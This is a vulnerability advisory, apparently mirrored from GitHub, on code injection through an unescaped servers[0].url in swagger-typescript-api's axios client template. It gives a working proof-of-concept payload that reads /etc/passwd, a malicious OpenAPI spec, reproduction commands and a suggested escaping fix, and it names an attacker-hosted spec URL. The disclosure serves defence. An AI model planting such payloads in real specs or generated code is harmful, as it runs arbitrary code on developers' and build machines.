GHSA-38C3-WV3C-V3XJ
Vulnerability from github – Published: 2026-07-29 14:31 – Updated: 2026-07-29 14:31Summary
swagger-typescript-api interpolates servers[0].url directly into a TypeScript string literal inside the HttpClient constructor body of the generated axios client (templates/base/http-clients/axios-http-client.ejs:71), without any escaping. A malicious URL containing a " closes the string literal and exposes the surrounding object-literal argument of axios.create({...}) to injection. A computed property key whose value is an IIFE executes arbitrary code every time new HttpClient() (or new Api(), which extends HttpClient) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges.
This is the axios sibling of the previously reported fetch-client RCE — same upstream variable (apiConfig.baseUrl, sourced from servers[0].url), same root cause class (raw <%~ %> interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix — sanitizing apiConfig.baseUrl once at the source in src/code-gen-process.ts:591 — closes both at once.
Details
createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:
return {
...
baseUrl: serverUrl, // <-- serverUrl = swaggerSchema.servers[0].url, raw
...
};
The axios http-client template (templates/base/http-clients/axios-http-client.ejs:71) then interpolates that value into a TS string literal inside the HttpClient constructor body:
constructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig<SecurityDataType> = {}) {
this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || "<%~ apiConfig.baseUrl %>" })
...
}
<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function — escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) — only replaces */ and is not applied to this path.
The injection sits inside a JavaScript object literal (the argument to axios.create({...})), so simple statement-level injection is not directly possible — but computed property keys are. A spec value of the form:
URL", [(IIFE)()]: 0, dummy: "
produces the following object literal:
axios.create({
...axiosConfig,
baseURL: axiosConfig.baseURL || "URL",
[(IIFE)()]: 0,
dummy: ""
})
The IIFE evaluates eagerly when the object literal is constructed — i.e. every time new HttpClient() runs. The trailing dummy: "" reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.
Lifecycle compared to the fetch sink: the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on new HttpClient(). In practice the trigger window is identical, because:
- Every README example in this repository does
const api = new Api()at module top level. Api(indefault/api.ejs) extendsHttpClient, sonew Api()invokes theHttpClientconstructor viasuper().- Top-level
const api = new Api()runs at module load — the consumer cannot import without instantiating in the documented usage pattern.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious servers[0].url (literal string, JSON-encoded in the spec below):
https://api.example.com", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: "
Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "AxiosPayloadAPI", "version": "1.0.0" },
"servers": [
{
"url": "https://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \""
}
],
"paths": {
"/ping": {
"get": {
"operationId": "ping",
"responses": { "200": { "description": "OK" } }
}
}
}
}
Steps:
npm install swagger-typescript-api@13.12.1 esbuild axios
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
const mod = await import('./out/Api.bundle.mjs');
new mod.HttpClient();
await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
Generated out/Api.ts (constructor — payload, Biome-formatted):
constructor({
securityWorker,
secure,
format,
...axiosConfig
}: ApiConfig<SecurityDataType> = {}) {
this.instance = axios.create({
...axiosConfig,
baseURL: axiosConfig.baseURL || "https://api.example.com",
[(async () => {
try {
const fs = await import("node:fs");
const data = fs.readFileSync("/etc/passwd", "utf8");
fs.writeFileSync("/tmp/sta_canary", data);
} catch (e) {}
return "pwned";
})()]: 0,
dummy: "",
});
this.secure = secure;
this.format = format;
this.securityWorker = securityWorker;
}
The [(async () => { ... })()]: 0 is a real computed object-literal key — Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the axios.create({...}) argument is constructed (during the HttpClient constructor), schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.
Result: after new HttpClient(), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean baseURL: ... || "https://api.example.com" and writes no canary.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api with httpClientType: "axios" (or --http-client axios) against an OpenAPI spec they did not author entirely:
sta generate --http-client axios --url https://attacker.example/openapi.json— a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.
- Any project pinned to a spec file that a contributor can modify via PR.
Lifecycle: the injected IIFE fires when new HttpClient() is constructed. In the standard usage pattern (const api = new Api() at module top level), this is effectively at first import — Api extends HttpClient and the super() call invokes the affected constructor. A consumer cannot use the generated client without constructing it.
Privilege: the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.
Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:
// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),
where escapeJsStringLiteral produces a properly-escaped JS string literal — at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change closes both this advisory and the previously reported fetch-client variant without further template edits.
If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form — fixing only one leaves the other exploitable.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.12.1"
},
"package": {
"ecosystem": "npm",
"name": "swagger-typescript-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54661"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-74",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T14:31:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript string literal inside the `HttpClient` constructor body of the generated **axios** client (`templates/base/http-clients/axios-http-client.ejs:71`), without any escaping. A malicious URL containing a `\"` closes the string literal and exposes the surrounding *object-literal argument* of `axios.create({...})` to injection. A computed property key whose value is an IIFE executes arbitrary code every time `new HttpClient()` (or `new Api()`, which extends `HttpClient`) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process\u0027s privileges.\n\nThis is the *axios* sibling of the previously reported fetch-client RCE \u2014 same upstream variable (`apiConfig.baseUrl`, sourced from `servers[0].url`), same root cause class (raw `\u003c%~ %\u003e` interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix \u2014 sanitizing `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591` \u2014 closes both at once.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n ...\n baseUrl: serverUrl, // \u003c-- serverUrl = swaggerSchema.servers[0].url, raw\n ...\n};\n```\n\nThe axios http-client template (`templates/base/http-clients/axios-http-client.ejs:71`) then interpolates that value into a TS string literal inside the `HttpClient` constructor body:\n\n```ejs\nconstructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig\u003cSecurityDataType\u003e = {}) {\n this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || \"\u003c%~ apiConfig.baseUrl %\u003e\" })\n ...\n}\n```\n\n`\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The codebase\u0027s only escape function \u2014 `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) \u2014 only replaces `*/` and is not applied to this path.\n\nThe injection sits inside a JavaScript *object literal* (the argument to `axios.create({...})`), so simple statement-level injection is not directly possible \u2014 but **computed property keys** are. A spec value of the form:\n\n```\nURL\", [(IIFE)()]: 0, dummy: \"\n```\n\nproduces the following object literal:\n\n```js\naxios.create({\n ...axiosConfig,\n baseURL: axiosConfig.baseURL || \"URL\",\n [(IIFE)()]: 0,\n dummy: \"\"\n})\n```\n\nThe IIFE evaluates eagerly when the object literal is constructed \u2014 i.e. every time `new HttpClient()` runs. The trailing `dummy: \"\"` reopens a string that the template\u0027s own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\n**Lifecycle compared to the fetch sink:** the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on `new HttpClient()`. In practice the trigger window is identical, because:\n\n- Every README example in this repository does `const api = new Api()` at module top level.\n- `Api` (in `default/api.ejs`) extends `HttpClient`, so `new Api()` invokes the `HttpClient` constructor via `super()`.\n- Top-level `const api = new Api()` runs at module load \u2014 the consumer cannot import without instantiating in the documented usage pattern.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 instantiate \u2192 check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\", [(async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} return \u0027pwned\u0027; })()]: 0, dummy: \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"AxiosPayloadAPI\", \"version\": \"1.0.0\" },\n \"servers\": [\n {\n \"url\": \"https://api.example.com\\\", [(async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} return \u0027pwned\u0027; })()]: 0, dummy: \\\"\"\n }\n ],\n \"paths\": {\n \"/ping\": {\n \"get\": {\n \"operationId\": \"ping\",\n \"responses\": { \"200\": { \"description\": \"OK\" } }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild axios\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027axios\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n --external:axios --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n const mod = await import(\u0027./out/Api.bundle.mjs\u0027);\n new mod.HttpClient();\n await new Promise(r =\u003e setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (constructor \u2014 payload, Biome-formatted):**\n\n```ts\nconstructor({\n securityWorker,\n secure,\n format,\n ...axiosConfig\n}: ApiConfig\u003cSecurityDataType\u003e = {}) {\n this.instance = axios.create({\n ...axiosConfig,\n baseURL: axiosConfig.baseURL || \"https://api.example.com\",\n [(async () =\u003e {\n try {\n const fs = await import(\"node:fs\");\n const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n fs.writeFileSync(\"/tmp/sta_canary\", data);\n } catch (e) {}\n return \"pwned\";\n })()]: 0,\n dummy: \"\",\n });\n this.secure = secure;\n this.format = format;\n this.securityWorker = securityWorker;\n}\n```\n\nThe `[(async () =\u003e { ... })()]: 0` is a real computed object-literal key \u2014 Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the `axios.create({...})` argument is constructed (during the `HttpClient` constructor), schedules `fs.readFileSync(\u0027/etc/passwd\u0027)`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after `new HttpClient()`, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `baseURL: ... || \"https://api.example.com\"` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` with `httpClientType: \"axios\"` (or `--http-client axios`) against an OpenAPI spec they did not author entirely:\n\n- `sta generate --http-client axios --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected IIFE fires when `new HttpClient()` is constructed. In the standard usage pattern (`const api = new Api()` at module top level), this is effectively at first import \u2014 `Api extends HttpClient` and the `super()` call invokes the affected constructor. A consumer cannot use the generated client without constructing it.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process \u2014 read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal \u2014 at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change closes both this advisory and the previously reported fetch-client variant** without further template edits.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `\u003c%~ apiConfig.baseUrl %\u003e` swapped for the escaped form \u2014 fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-38c3-wv3c-v3xj",
"modified": "2026-07-29T14:31:15Z",
"published": "2026-07-29T14:31:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-38c3-wv3c-v3xj"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
},
{
"type": "PACKAGE",
"url": "https://github.com/acacode/swagger-typescript-api"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.